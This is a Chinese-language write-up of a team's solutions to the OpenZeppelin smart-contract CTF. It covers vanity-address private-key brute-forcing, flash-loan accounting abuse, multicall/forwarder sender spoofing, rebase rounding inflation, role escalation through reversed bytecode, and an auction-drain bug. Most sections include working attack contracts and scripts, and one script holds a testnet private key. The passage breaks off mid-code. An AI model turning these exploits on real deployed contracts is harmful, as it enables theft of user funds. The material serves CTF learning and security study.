ZAN 团队 (zan_team) 和蚂蚁天穹实验室联合参与了最近举办的 OpenZeppelin CTF 比赛,在有效的 299 个参赛队伍中排名第 11,分数并列第三。
本次 CTF 共有 9 个 Challenge,我们的参赛团队共完成了 8 个 Challenge。
本次竞赛中最难也是最有戏剧性的一道题目,直到距离比赛结束还有 6 个多小时,东八区时间已经来到凌晨 1 点左右,仍然没有队伍解出这道题,直到比赛的最后阶段,才陆续有六个队伍完成了对本题的突破。
挑战合约几乎是一个简单的 OpenZeppelin 库下 ERC20 合约的 Copy,挑战创建时,创建了两个未知地址,并给这两个地址发送了 100 个 Token,我们的目的是将 ERC20 合约的 Total Supply 降低为 0,这就意味着我们必须获得这两个未知地址的私钥,并将这两个地址上的 Token 进行 burn 操作。
然而,我们都知道,反推出地址的私钥几乎是一个不可能完成的任务,除非我们今天就发明了量子计算机,并立刻将它应用在解决这道 CTF 题目上(而不是尝试破解我们团队的某个巨鲸的私钥😂),(By the way,即使量子计算机今天就出现,按照 Vitalik 的说法,以太坊也有能力拯救用户的资产,https://ethresear.ch/t/how-to-hard-fork-to-save-most-users-funds-in-a-quantum-emergency/18901)。
至此,题目好像陷入了僵局,在很长一段时间内,都没有队伍解决这道题目,出题人选择降低题目难度,两次给出 Hint,并表示愿意个人给出 150 美元的赏金,激励第一个解决这道题目的队伍。
在了解了本题的真实解法后,我们大受震撼,解决办法竟然真的是暴力破解出使用题目中地址的私钥,唯一的不同点是:我们其实并不需要一台量子计算机。
要解出这道题,首先我们必须在 Sepolia 区块链浏览器上,找出这两个地址发送的交易,随后,使用交易数据解析出地址对应的公钥。
-
https://sepolia.etherscan.io/address/0x00000f940f38270786962F6eC582B4EdEa4Bb440
-
https://sepolia.etherscan.io/address/0xbeef6B156a9cd241B95A841CDF3B18995C2E35CC
出题人在官方 Writeup 中给出的一个解析脚本:
def get_public_key(tx_raw):
txn_bytes = hexbytes.HexBytes(tx_raw)
typed_txn = signing.TypedTransaction.from_bytes(txn_bytes)
msg_hash = typed_txn.hash()
hash_bytes = hexbytes.HexBytes(msg_hash)
vrs = typed_txn.vrs()
v, r, s = vrs
v_standard = signing.to_standard_v(v)
vrs = (v_standard, r, s)
signature_obj = eth_keys.KeyAPI().Signature(vrs=vrs)
pubkey = signature_obj.recover_public_key_from_msg_hash(hash_bytes)
return pubkey
拿到公钥后,下一步就是暴力破解私钥了,我们看到这两个地址其中一个以相当多的 0 开头,另一个以 beef 开头,这意味着他们是通过某种方式生成的“区块链靓号”。我们在思考到这一步后就放弃了这个思路,因为暴力破解私钥,这个解法看起来太过于惊人。
非常戏剧性的是,这两个地址是使用 Profanity (https://github.com/johguse/profanity) 生成的——一个已经因为私钥安全性而被废弃的靓号生成器。开发者在制作这款工具时,仅使用了 32bit 随机数作为 seed 用来生成私钥,以目前的商用型芯片算力(Apple M2 为例),完全可能在 1 小时之内,暴力破解出这款工具生成的地址对应的私钥。
OpenZeppelin 在官方题解中同样给出了一个暴力破解的开源工具。https://github.com/rebryk/profanity-brute-force
在破解了地址对应的私钥后,后面的流程就简单了,只需要使用这两个地址,burn 掉代币,即可完成挑战。
此题初始化时给 SpaceBank
合约铸造了 1000 个 token,解题目标是将 SpaceBank
中状态变量 exploded
置为 true,分析题目发现,通过调用合约 SpaceBank
中的 explodeSpaceBank
函数,当满足以下几个条件,可以将 exploded
置为 true:
-
当前的区块高度等于
alarmTime + 2
,alarmTime
初始化时是 0,可修改。 -
_createdAddress
地址上没有代码。 -
SpaceBank
合约持有的token数量为 0。
为了构造这些条件,我们首先调用 SpaceBank
的 flashLoan
函数,从 SpaceBank
合约中借出指定数量 amount
的 token,值得注意的是,第一次闪电贷时不能指定 amount
为 1000,因为当 amount
大于等于 1000 时需要交手续费,然而在题目初始化条件中,解题的人是没有 token 的。因此我们首先指定 amount
为 500,闪电贷过程中会回调接收者(题解中的 Receiver
合约)的 executeFlashLoan
函数,在该函数中,我们将借出来的 500 个 token 通过 SpaceBank
的 deposit
函数存入 SpaceBank
合约中,如此操作不仅能在闪电贷结束时达到还清闪电贷的条件,还能在 SpaceBank
合约中有存款 500 个 token 的记录。当闪电贷结束时,即可调用 withdraw
函数,从 SpaceBank
合约中取出这 500 个 token。相当于在第一次闪电贷中,我们偷走了 SpaceBank
合约中的 500 个 token。
同样原理,我们可以进行第二次闪电贷,再偷走 SpaceBank
中剩余的 500 个 token。在这一次进行 deposit 时,传入的参数 data
是一个合约的 creationCode
,该合约需要满足在创建之后合约的 codesize 是 0,因此我们在该合约的构造函数中直接 selfdestruct
。具体合约为题解中的 Target
合约。
解题条件构造好了,可以直接调用合约 SpaceBank
中的 explodeSpaceBank
函数解题了。此处需要注意的是,根据题目要求,这一次调用需要在前两次闪电贷的后两个区块中调用。因此我们需要在脚本中多次调用 explodeSpaceBank
函数来推进区块。
解题合约:
contract Target {
constructor() payable {
selfdestruct(payable(msg.sender));
}
receive() external payable {}
}
// flashloan receiver
contract Receiver {
uint256 count = 0;
SpaceBank public spaceBank;
constructor() payable {
}
// flashloan callback
function executeFlashLoan(uint256 amount) external {
spaceBank = SpaceBank(msg.sender);
IERC20 spaceToken = spaceBank.token();
if (count == 0) {
bytes memory data = abi.encode(block.number % 47);
spaceToken.approve(address(spaceBank), amount);
spaceBank.deposit(amount, data);
count++;
} else if (count == 1) {
bytes memory data = type(Target).creationCode;
bytes32 hash = keccak256(
abi.encodePacked(bytes1(0xff), address(spaceBank), block.number, keccak256(data))
);
address target = address(uint160(uint(hash)));
(bool success, bytes memory res) = target.call{value: 1 ether}("");
require(success, "send eth failed");
spaceToken.approve(address(spaceBank), amount);
spaceBank.deposit(amount, data);
count++;
}
}
function withdraw(uint256 amount) external {
spaceBank.withdraw(500);
}
}
contract Attack {
Challenge public challenge;
SpaceBank public spaceBank;
IERC20 public spaceToken;
constructor() payable {
}
// flashloan twice
function attack1(address challengeAddr) external {
challenge = Challenge(challengeAddr);
spaceBank = challenge.SPACEBANK();
spaceToken = spaceBank.token();
uint256 myToken = spaceToken.balanceOf(address(this));
Receiver receiver = new Receiver{value: 1 ether}();
// call flashLoan first time
spaceBank.flashLoan(500, address(receiver));
receiver.withdraw(500);
// call flashloan second time
spaceBank.flashLoan(500, address(receiver));
receiver.withdraw(500);
}
// call explodeSpaceBank
function attack2() external {
spaceBank.explodeSpaceBank();
require(spaceBank.exploded(), "attack failed");
}
}
解题脚本:
before(async function () {
accounts = await ethers.getSigners();
attacker = accounts[0];
// 部署Attack合约
const Attack = await ethers.getContractFactory("contracts/attack.sol:Attack",attacker);
attack = await Attack.deploy({value: ethers.utils.parseEther("1")});
// 等待合约部署完成
await attack.deployed();
console.log(`Attack contract deployed to: ${attack.address}`);
});
it("solves the challenge", async function () {
// 调用attack1
console.log("attack1 function called");
let currentBlockNumber = await ethers.provider.getBlockNumber();
console.log("attack1 block number:", currentBlockNumber);
let result = await attack.attack1(challengeAddress, {gasLimit: 1e7});
await ethers.provider.waitForTransaction(result.hash);
result = await ethers.provider.getTransactionReceipt(result.hash);
console.log("transaction hash :",result.hash," status:",result.status);
console.log("attack1 function called");
// 循环调用,推进区块
for(let i = 0; i < 2; i++){
currentBlockNumber = await ethers.provider.getBlockNumber();
console.log("attack2 block number:", currentBlockNumber);
result = await attack.attack2({gasLimit: 1e7});
await ethers.provider.waitForTransaction(result.hash);
result = await ethers.provider.getTransactionReceipt(result.hash);
console.log("transaction hash :",result.hash," status:",result.status);
console.log("attack2 function called");
}
});
此题是元交易 + Multicall 真实漏洞的缩略版本,详见《!!紧急自查!!OpenZeppelin 任意地址欺骗攻击分析》
此题的目标是获得 staking 合约 amazingNumber (合约一开始就存储了超过这个数值的量)数量的奖励代币,并发送到 0x123 这个地址上,这个合约有一个 notifyRewardAmount
函数可供 owner 调用,用来通知合约在此后一段时间(20s)内线性释放 amount
的奖励代币给所有质押者:
function notifyRewardAmount(uint256 _amount) external onlyOwner {
updateReward(address(0));
if (block.timestamp >= finishAt) {
rewardRate = _amount / duration;
} else {
uint256 remainingRewards = (finishAt - block.timestamp) * rewardRate;
rewardRate = (_amount + remainingRewards) / duration;
}
require(rewardRate > 0, "reward rate = 0");
require(rewardRate * duration <= rewardsToken.balanceOf(address(this)), "reward amount > balance");
finishAt = block.timestamp + duration;
updatedAt = block.timestamp;
}
因此我们首先质押一笔代币,然后通过伪装成 owner 调用这个函数来给自己发送 amazingNumber
的奖励,来完成挑战。
可以注意到当 msg.sender 是 forwarder
合约时,msg.sender 会重定向为 calldata 的后 20 字节对应的地址:
function _msgSender() internal view virtual override returns (address sender) {
if (isTrustedForwarder(msg.sender)) {
// The assembly code is more direct than the Solidity version using `abi.decode`.
assembly {
sender := shr(96, calldataload(sub(calldatasize(), 20)))
}
} else {
return super._msgSender();
}
}
而 forwarder
则是一个正常执行合约,在用户拥有 from 的签名情况下,可以代替 from 执行交易,并将真正的执行者 from 附加到 calldata 的后 20 位执行交易:
(bool success, bytes memory returndata) =
req.to.call{gas: req.gas, value: req.value}(abi.encodePacked(req.data, req.from));
看起来没什么问题,然而 staking 继承自 multicall 合约:
abstract contract Multicall {
/**
* @dev Receives and executes a batch of function calls on this contract.
*/
function multicall(bytes[] calldata data) external returns (bytes[] memory results) {
results = new bytes[](data.length);
for (uint256 i = 0; i < data.length; i++) {
results[i] = Address.functionDelegateCall(address(this), data[i]);
}
return results;
}
}
在 multicall 时,它会重新发起一个调用,并将 forwarder
调用的内容(原本为 calldata + from)修改为 calldata,同时 msg.sender 仍旧保持为 forwarder
,因此通过 mutilcall,我们可以精心构造一个 delegatecall 的 calldata,前面是我们要调用的函数 notifyRewardAmount
,后面 20 位是我们要伪装的 owner,这样我们就能伪装成 owner 发送 notifyRewardAmount
来通知发送奖励代币了:
function attack() external{
stakingToken.approve(address(staking),type(uint256).max);
staking.stake(stakingToken.balanceOf(address(this)));
bytes[] memory delegatecallData = new bytes[](1);
delegatecallData[0] = abi.encodeWithSelector(staking.notifyRewardAmount.selector,rewardToken.totalSupply(),uint256(uint160(staking.owner())));
bytes memory callData = abi.encodeWithSelector(staking.multicall.selector,delegatecallData);
Forwarder.ForwardRequest memory requst = Forwarder.ForwardRequest({from:address(this),to:address(staking),value:0,gas:gasleft() / 2,nonce:0,deadline:0,data:callData});
bytes memory signature = new bytes(0);
forwarder.execute{gas:gasleft()}(requst,signature);
}
然后等奖励时间结束就可以获得 reward 发送给指定地址来完成挑战:
function getReward() external{
staking.getReward();
rewardToken.transfer(target,amazingNumber);
require(challenge.isSolved());
}
这是一道 vyper 题,挑战目标是将拍卖合约中的艺术品买下来,这个艺术品最高需要 1 个 WETH 购买:
function deploy(address system, address) internal override returns (address challenge) {
vm.startBroadcast(system);
IWETH weth = IWETH(deploy("src/", "WETH", ""));
bytes memory args = abi.encode(system);
IERC721Extended art = IERC721Extended(deploy("src/", "Art", args));
args = abi.encode(1 ether, 1 ether / uint256(7 days), art, 0, address(weth));
IAuction auction = IAuction(deploy("src/", "Auction", args));
...
}
而一开始用户拥有 1000 个 ETH,只需要将 ETH 兑成 WETH,就可以买下艺术品,完成挑战:
weth.deposit{value:100 ether}();
weth.approve(address(auction),type(uint256).max);
auction.buy();
require(challenge.isSolved());
此题是 raft 攻击事件的简易版本,详见:https://twitter.com/BlockSecTeam/status/1723229393529835972
此题的目标是获得 250000000 枚 xyz 代币并发送给指定地址。一开始我们拥有 6000 枚 seth 代币,可以通过 2207 的价格可以借出约 10000000 枚 xyz,然而这个数量是远远不够的。
可以注意到一开始我们拥有一个可以被清算的仓位,这是出题人算好的,他将这个仓位的负债从 3395 增加到 3520,正好低于 manager 要求的健康度 1.3:
manager.manage(sETH, 2 ether, true, 3395 ether, true);
(, ERC20Signal debtToken,,,) = manager.collateralData(IERC20(address(sETH)));
manager.updateSignal(debtToken, 3520 ether);
而通过清算可以做什么呢?注意到他的存款记账代币 “xyz seth_collateral” 是个 rebase 代币,并且他会在清算时重新计算 share 和真正存款数量之间的比例 signal:
function _updateSignals(
IERC20 token,
ERC20Signal protocolCollateralToken,
ERC20Signal protocolDebtToken,
uint256 totalDebtForCollateral
internal {
protocolDebtToken.setSignal(totalDebtForCollateral);
protocolCollateralToken.setSignal(token.balanceOf(address(this)));
}
function setSignal(uint256 backingAmount) external onlyManager {
uint256 supply = ERC20.totalSupply();
uint256 newSignal = (backingAmount == 0 && supply == 0) ? ProtocolMath.ONE : backingAmount.divUp(supply);
signal = newSignal;
}
因此是可以通过往 manager 里面转账,增加 balance,之后通过清算来扩大 signal 的。
同时注意到他的存款记账代币是向上取整的:
function mint(address to, uint256 amount) external onlyManager {
_mint(to, amount.divUp(signal));
}
因此,1 wei 就可以得到 1 share 存款记账代币,并且可以借出相应数量的xyz。
那么思路就很清晰了,我们可以先将 2.1 个 seth 抵押借出可以用来清算这个仓位所需的 xyz,然后将剩下代币转入 manager 合约,接着清算扩大他的 signal。之后我们拿着清算获得的 seth,反复用 1 wei 去获得 1 share 存款记账代币,然后借出相应的 xyz,直到我们达到目标所需的 balance,完成挑战:
Attacker attacker = new Attacker(address(challenge));
Token seth = challenge.seth();
Token xyz = challenge.xyz();
seth.transfer(address(attacker),6000 ether);
attacker.attack();
uint256 amount = xyz.balanceOf(address(attacker));
while(amount < targetAmount){
attacker.attack2();
amount = xyz.balanceOf(address(attacker));
}
attacker.attack3();
require(challenge.isSolved());
function attack() external{
updateSignal();
require(seth.balanceOf(address(this)) == 6000 ether);
address owner = manager.owner();
uint256 onwerDebt = debt.balanceOf(owner);
uint256 minCollateralAmount = getMinCollateralAmount(onwerDebt);
manager.manage(IERC20(seth),minCollateralAmount,true,onwerDebt,true);
seth.transfer(address(manager),seth.balanceOf(address(this)));
manager.liquidate(owner);
updateSignal();
}
function attack2() external{
uint256 borrowAmount = getMaxBorrowAmount(1);
for(uint256 i=0;i<50;i++){
manager.manage(IERC20(seth),1,true,borrowAmount,true);
}
}
function attack3() external{
require(xyz.balanceOf(address(this)) > targetAmount);
xyz.transfer(target,targetAmount);
}
本次比赛唯一一道 Cairo 题目,合约逻辑十分简单,合约中有一个位于 Storage 的数组 donations
和一个 Bool 值 sadness
, sadness
在合约初始化时被设置为 True。解题目标是将 sadness
值设置为 False,但合约本身并没有提供修改 sadness
的接口。因此我们可以大胆假设,通过对数组 donations
的操作,我们有机会影响 sadness 对应的存储位置的值。
仔细观察合约源码,可以看到一处非常奇怪的地方,在 donations 数组的 read_at 函数中,居然出现了一个 write 操作,将 index(数组下标)转化为 storage 地址后,将该位置对应的值修改为了默认值(0)。很明显这就是我们需要的漏洞代码,我们后面要做的就是将 sadness 对应的 storage 地址,转化为 felt252 整数,并将其作为数组下标,传入这个函数,即可完成对 sandess 的修改。
fn read_at(self: @StorageArray<T>, index: felt252) -> T {
let storage_address_felt: felt252 = storage_address_from_base(*self.base).into();
let element_address = poseidon_hash_span(
array![storage_address_felt + index.into()].span()
);
TStore::write(*self.address_domain, base_from_felt(index), Default::default())
.unwrap_syscall();
TStore::read(*self.address_domain, base_from_felt(element_address)).unwrap_syscall()
}
比赛中我们在合约中插入了如下的函数来计算 sadness 对应的存储位置和对应的整数(index)。计算出的这个数即为本题的 flag。
fn get_sadness_address(self: @ContractState) -> felt252 {
let address = storage_address_from_base(self.sadness.address()).into();
address
}
Solidity 字节码逆向题,主要难点在于从反编译代码中搞懂合约逻辑,好在这次使用的合约函数签名有不少可以查到,略微降低了理解难度。
题目的解题条件是将合约中的 aborted 变量设置为 true,要做到这一点,设置该变量的代码(反编译)后如下。
function 0x7235a6d5() public payable {
require(0x3a1665efe60dbe93a7cdcf728baddc0d7ebafe407d444d0de3ed20e1e52a6a0d == _roles[msg.sender].field0, Error('Invalid role'));
v0 = 0x1465(stor_5, stor_4, _position);
require(v0 < 10 ** 24, Error('Must be within 1000km to abort mission'));
require(stor_6 < 10 ** 21, Error('Must be weigh less than 1000kg to abort mission'));
require(stor_2 > 0, Error('Must visit Area 51 and scare the humans before aborting mission'));
require(0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 != EXTCODEHASH(msg.sender));
stor_1_1_1 = 1;
emit 0x36ecdc9a6fcd7296bb9e8ba1d0346958e5dc548c84186d854d2c4e65691ceed6();
}
可以看到,要成功调用这个函数,必须满足三个条件:
-
调用者必须是 0x3a1665efe60dbe93a7cdcf728baddc0d7ebafe407d444d0de3ed20e1e52a6a0d(Captain)角色。
-
通过合约存储 stor_5,stor_4(推测这两个变量代表的意义为坐标)计算出的值(distance) < 10 ** 24。
-
合约存储 stor_6 < 10 ** 21,根据错误提示,推测这里存储的是飞船重量。
-
合约存储 stor_2 的值必须 > 1,表示飞船已经访问过 51 区。
接下来我们就根据分析出的这 4 个条件逐个击破。仔细阅读合约字节码,我们发现调用者是无法直接成为 Captain 角色的,要想成为 Captain 角色,调用者首先必须成为 Physicist 角色,然而 Physcist 角色也无法直接申请,必须满足合约本身的角色也是 Engineer 这个条件。
function 0xa15184c7(uint256 varg0) public payable {
require(msg.data.length - 4 >= 32);
v0 = v1 = varg0 == 0xb5b6b705a01c9fbc2f5b52325436afd32f5988596d999716ad1711063539b564;
if (varg0 != 0xb5b6b705a01c9fbc2f5b52325436afd32f5988596d999716ad1711063539b564) {
v0 = v2 = varg0 == 0x56a2da3687a5982774df44639b06a410da311ff14844c2f7ff0cab50d681571c;
}
if (!v0) {
v0 = v3 = varg0 == 0x3a1665efe60dbe93a7cdcf728baddc0d7ebafe407d444d0de3ed20e1e52a6a0d;
}
if (!v0) {
v0 = v4 = varg0 == 0x720a004d39b816addddcfa184666132ae9e307670a4e534d64e0af23c84ee0e1;
}
require(v0, Error('Invalid role'));
require(!_roles[msg.sender].field0, Error('Use the applyForPromotion function to get promoted'));
if (varg0 != 0x56a2da3687a5982774df44639b06a410da311ff14844c2f7ff0cab50d681571c) {
v5 = v6 = varg0 == 0xb5b6b705a01c9fbc2f5b52325436afd32f5988596d999716ad1711063539b564;
if (v6) {
v5 = v7 = 0x56a2da3687a5982774df44639b06a410da311ff14844c2f7ff0cab50d681571c == _roles[this].field0;
}
if (!v5) {
require(varg0 == 0x720a004d39b816addddcfa184666132ae9e307670a4e534d64e0af23c84ee0e1, Error('Role is not hiring'));
v8 = new uint256[](115);
MEM[v8.data] = 'There is no blockchain security ';
MEM[MEM[64] + 100] = 'researcher position on the space';
MEM[MEM[64] + 132] = "ship but we've heard that OpenZe";
MEM[MEM[64] + 164] = 'ppelin is hiring :)';
revert(Error(v8));
} else {
_roles[msg.sender].field0 = 0xb5b6b705a01c9fbc2f5b52325436afd32f5988596d999716ad1711063539b564;
_roles[msg.sender].field1 = block.timestamp;
emit 0xd7b59a7335373cd670f56aaac22cb24e2d3b6efaa5f7eef93ae4d79b2d4f3ec2(msg.sender, 0xb5b6b705a01c9fbc2f5b52325436afd32f5988596d999716ad1711063539b564);
}
} else {
_roles[msg.sender].field0 = 0x56a2da3687a5982774df44639b06a410da311ff14844c2f7ff0cab50d681571c;
_roles[msg.sender].field1 = block.timestamp;
emit 0xd7b59a7335373cd670f56aaac22cb24e2d3b6efaa5f7eef93ae4d79b2d4f3ec2(msg.sender, 0x56a2da3687a5982774df44639b06a410da311ff14844c2f7ff0cab50d681571c);
}
}
可以看到这个条件本身非常可疑,正常来说,合约本身是无法发起主动调用的,除非它具有调用自己的能力。从这个疑点出发,我们找到了反编译合约中的这段代码:
function 0xea93bc96(bytes varg0) public payable {
require(msg.data.length - 4 >= 32);
require(varg0 <= uint64.max);
require(4 + varg0 + 31 < msg.data.length);
require(varg0.length <= uint64.max);
require(4 + varg0 + varg0.length + 32 <= msg.data.length);
require(0x56a2da3687a5982774df44639b06a410da311ff14844c2f7ff0cab50d681571c == _roles[msg.sender].field0, Error('Invalid role'));
CALLDATACOPY(v0.data, varg0.data, varg0.length);
MEM[varg0.length + v0.data] = 0;
v1, /* uint256 */ v2 = address(this).call(v0.data).gas(msg.gas);
if (RETURNDATASIZE() != 0) {
v3 = new bytes[](RETURNDATASIZE());
RETURNDATACOPY(v3.data, 0, RETURNDATASIZE());
}
require(v1, Error('Experiment failed!'));
}
可以看到,我们可以随意给该合约传递 calldata,让它自己调用自己的 0xa15184c7 函数,从而使得我们能够申请成为 Physicist,并为最终成为 Captain 创造条件。
至此攻击链路已经清晰了,我们要做的事情可以分为几个阶段进行:
-
我们使用一个 EOA 申请成为 Engineer,并调用 0xea93bc96,让合约自己调用自己,使其成为 Engineer。
-
我们部署一个攻击合约,在攻击合约构造函数中,申请成为 Physicist(绕过申请成为科学家必须是EOA的检查)。
-
我们使用 EOA,调用降低飞船负载的函数,使飞船重量降低下来,随后使用攻击合约(角色为 Physicist)开启虫洞功能(为 Captain 访问 51 区做准备),这里利用到了合约在构造函数执行时,codesize 仍然为 0,从而绕过函数中的 EOA 检查。
-
我们使用攻击合约申请成为 Captain,并调用 visitArea51 函数,将 stor_2 设置为 1,从而满足终止任务的条件 4,注意这里需要用到一次整数溢出,使得调用者地址和传入参数相加被溢出为 51。
-
我们使用攻击合约调用 jumpThroughWormhole 修改 stor_4 和 stor_5,将飞船的 distance 降低到 10 ** 24 以下,再次使用 EOA 降低飞船重量,满足条件 2 和条件 3。
-
最终调用 0x7235a6d5 终止任务。
可以看到攻击链路十分长,最终我们完整的攻击脚本如下:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "src/Challenge.sol";
import {Challenge} from "src/Challenge.sol";
import "forge-std/Script.sol";
contract Solve is Script {
bytes32 constant private captain = 0x3a1665efe60dbe93a7cdcf728baddc0d7ebafe407d444d0de3ed20e1e52a6a0d;
bytes32 constant private engineer = 0x56a2da3687a5982774df44639b06a410da311ff14844c2f7ff0cab50d681571c;
bytes32 constant private physicist = 0xb5b6b705a01c9fbc2f5b52325436afd32f5988596d999716ad1711063539b564;
function run() external {
vm.startBroadcast(0xd6e9eb58905fcd3fb7551fb347a3cb0c164b9b421003892f53e556cc3d43e2b9);
address challenge = 0xe4Cff8Ca8fbe8EE2A8C9127d3d4119f908eF3609;
address alienspaceship = address(Challenge(challenge).ALIENSPACESHIP());
AlienSpaceShip(alienspaceship).applyForJob(engineer);
bytes memory data = abi.encodeWithSelector(AlienSpaceShip.applyForJob.selector, engineer);
AlienSpaceShip(alienspaceship).runExperiment(data);
// 丢弃负重
AlienSpaceShip(alienspaceship).dumpPayload(4400000000000000000000);
AlienSpaceShip(alienspaceship).quitJob();
AlienSpaceShip(alienspaceship).applyForJob(physicist);
AlienSpaceShip(alienspaceship).enableWormholes();
// 合约申请成为科学家 构造函数
Pwn pwn = new Pwn(alienspaceship);
console2.log("pwn address: ", address(pwn));
// 合约申请成为船长 调整位置 进入虫洞和51区
Pwn pwn = Pwn(address(0xbdCFD67E18713e6BFc1798e816573B8022051286));
pwn.promote_and_move();
// EOA再次清除负重
AlienSpaceShip(alienspaceship).quitJob();
AlienSpaceShip(alienspaceship).applyForJob(engineer);
uint256 mass = AlienSpaceShip(alienspaceship).payloadMass();
AlienSpaceShip(alienspaceship).dumpPayload(mass - 500000000000000000001);
// 合约终止任务
pwn.abort();
}
}
contract Pwn {
bytes32 constant private captain = 0x3a1665efe60dbe93a7cdcf728baddc0d7ebafe407d444d0de3ed20e1e52a6a0d;
bytes32 constant private engineer = 0x56a2da3687a5982774df44639b06a410da311ff14844c2f7ff0cab50d681571c;
bytes32 constant private physicist = 0xb5b6b705a01c9fbc2f5b52325436afd32f5988596d999716ad1711063539b564;
// physicist -> captain
address private alienspaceship;
constructor(address _alienspaceship) {
alienspaceship = _alienspaceship;
AlienSpaceShip(alienspaceship).applyForJob(physicist);
AlienSpaceShip(alienspaceship).enableWormholes();
}
// Transaction1 调整位置和负重
function promote_and_move() external {
// 成为船长 调整位置
AlienSpaceShip(alienspaceship).applyForPromotion(captain);
AlienSpaceShip(alienspaceship).visitArea51(calculate(address(this)));
AlienSpaceShip(alienspaceship).jumpThroughWormhole(0, 0, 10 ** 23 + 1);
}
function abort() external {
// 重新成为船长 结束任务
AlienSpaceShip(alienspaceship).abortMission();
}
function calculate(address at) public pure returns (address) {
uint256 mod = uint256(type(uint160).max) + 52;
uint160 last = uint160(uint256(mod - uint256(uint160(at))));
return address(last);
}
}
interface AlienSpaceShip {
function applyForJob(bytes32) external; //0xa15184c7
function applyForPromotion(bytes32) external; // 0x8c0ff94b
function abortMission() external;
function quitJob() external;
function visitArea51(address) external; // 0x6f445300
function dumpPayload(uint256) external; // 0x4e85c36e
function runExperiment(bytes calldata) external; // 0xea93bc96
function enableWormholes() external; // 0xe42c7669
function position() external returns (uint256, uint256, uint256);
function distance() external returns (uint256);
function jumpThroughWormhole(int256, int256, int256) external; // 0x183aa328
function payloadMass() external returns (uint256); // 0xf705b2e2
}
此题初始化时给 AuctionManager
合约 mint 了 10000 * 1e6 个 quoteToken 和 100 * 1e18 个 baseToken,给解题的人分别 mint 了 100 ether 的 quoteToken 和 baseToken。题目目标是将 AuctionManager
合约的所有 quoteToken 取出来。
此题是一个关于拍卖竞标的项目,任何人都可以创建拍卖,其他人参与竞拍。不同时间阶段,拍卖处于不同的状态。当状态为 Reveal
时,可以通过调用 finalize
函数对拍卖进行一个确定,将状态转为 Final。Final 状态要求 auction.data.quoteLowest != type(uint128).max
,然而在 finalize 时,并未对用户传入的参数 quote
做任何限制,该参数最终赋值给了 auction.data.quoteLowest
。那么调用者可以将入参设置为 type(uint128).max
,最终将 auction.data.quoteLowest
修改成了 type(uint128).max
。这就导致 finalize 后拍卖的状态并未变成 Final,反而为取消拍卖创造了条件。
if (block.timestamp < auction.time.start) {
if (state != States.Created) revert();
} else if (block.timestamp < auction.time.end) {
if (state != States.Accepting) revert();
} else if (auction.data.quoteLowest != type(uint128).max) {
if (state != States.Final) revert();
} else if (block.timestamp <= auction.time.end + 24 hours) {
if (state != States.Reveal) revert();
} else if (block.timestamp > auction.time.end + 24 hours) {
if (state != States.Void) revert();
} else {
revert();
}
清楚了漏洞点以后,我们来看看具体如何利用该漏洞盗取 AuctionManager
合约的 quoteToken。
在调用 AuctionManager
合约的 finalize
函数时,如前面所述,我们将入参 quote
设置为 type(uint128).max
,从而将 auction.data.quoteLowest
修改成了 type(uint128).max
。
finalize 函数最后,会将未完成拍卖的 baseToken 还给拍卖发起者,数量为 data.totalBase - data.baseFilled
,并将拍卖得到的 quoteToken 转给拍卖发起者。此时拍卖发起者既拿回了未拍卖出去的 baseToken,也获得了拍卖所得的 quoteToken,其跟合约是两清的状态。并且此时 auction.parameters.totalBase
被设置成了 data.baseFilled
(被竞拍成功的 baseToken 的数量)。
然而由于此时 auction.data.quoteLowest == type(uint128).max
,达到了取消拍卖的条件,所以拍卖发起者可以调用 auctionCancel
函数取消拍卖,于是合约将 auction.parameters.totalBase
这么多的 baseToken 还给了拍卖发起者。用一句话说就是拍卖发起者最终没有付出任何 baseToken,却将竞拍者的 quoteToken 收入囊中了。不仅如此,取消拍卖时还将 auction.time.end
设置成了 type(uint32).max
,让拍卖的状态变成了 Accepting,在这个状态,竞拍者可以调用 bidCancel
函数,取回自己竞拍付出的 quoteToken。此时的 quoteToken,就是真真切切是原本属于 AuctionManager
合约的 quoteToken 啦。到这儿,就成功薅空了 AuctionManager
合约的 quoteToken。
if (data.totalBase != data.baseFilled) {
auction.parameters.totalBase = data.baseFilled;
ERC20(auction.parameters.tokenBase).safeTransfer(auction.data.seller, data.totalBase - data.baseFilled);
}
ERC20(auction.parameters.tokenQuote).safeTransfer(auction.data.seller, quote.mulDivDown(data.baseFilled, base));
function auctionCancel(uint256 id) external {
Auction storage auction = auctions[id];
if (auction.data.seller != msg.sender) revert();
if (type(uint128).max != auction.data.quoteLowest) revert();
auction.data.seller = address(0);
auction.time.end = type(uint32).max;
ERC20(auction.parameters.tokenBase).safeTransfer(msg.sender, auction.parameters.totalBase);
}
function bidCancel(uint256 id, uint256 index) external {
Auction storage auction = auctions[id];
BidEncrypted storage bid = auction.bids[index];
if (msg.sender != bid.sender) revert();
if (block.timestamp >= auction.time.end) {
if (block.timestamp <= auction.time.end + 24 hours || auction.data.quoteLowest != type(uint128).max) {
revert();
}
}
bid.commit = 0;
bid.sender = address(0);
ERC20(auction.parameters.tokenQuote).safeTransfer(msg.sender, bid.amountQuote);
}
解题时,我们需要自己模拟拍卖的流程,首先拍卖发起者(题解中的 Attack 合约)发起拍卖,竞拍者(题解中的 Bidder 合约)参与拍卖,在这个过程中,我们将拍卖发起者想要拍卖的 baseToken 数量、竞拍者愿意付出的quoteToken数量、竞拍者想要竞拍的 baseToken 数量均设置为题目初始化时 AuctionManager
合约持有的 quoteToken 数量,以此一次性薅空 AuctionManager
合约的 quoteToken 数量。为了简化解题,在发起拍卖时,我们将 baseToken 和 quoteToken 都设置成了题目中的 quoteToken。完整的解题代码如下:
contract Bidder {
using FixedPointMathLib for uint128;
using SafeTransferLib for ERC20;
address public challengeAddr = xxx;
Challenge public challenge = Challenge(challengeAddr);
AuctionManager public auctionManager = challenge.auction();
ERC20 public baseToken = challenge.quoteToken();
ERC20 public quoteToken = challenge.quoteToken();
constructor() {
baseToken.approve(address(auctionManager), type(uint128).max);
}
// add bid
function bid() external returns(bytes32) {
Math.Point memory point1 = Math.publicKey(0xabcd);
bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
// proof
bytes32[] memory proofs = new bytes32[](0);
// commit and encrypted
Math.Point memory commonPoint = Math.mul(0xbabe, point1);
require(commonPoint.x != 1 || commonPoint.y != 1, "common point is not correct");
bytes32 message = auctionManager.genMessage(10000 * 1e6, bytes16(0x0));
Math.Point memory tmpPoint;
bytes32 encrypted;
Math.Point memory point = Math.publicKey(0xbabe);
(tmpPoint, encrypted) = Math.encrypt(point, 0xabcd, message);
bytes32 decrypted = Math.decrypt(commonPoint, encrypted);
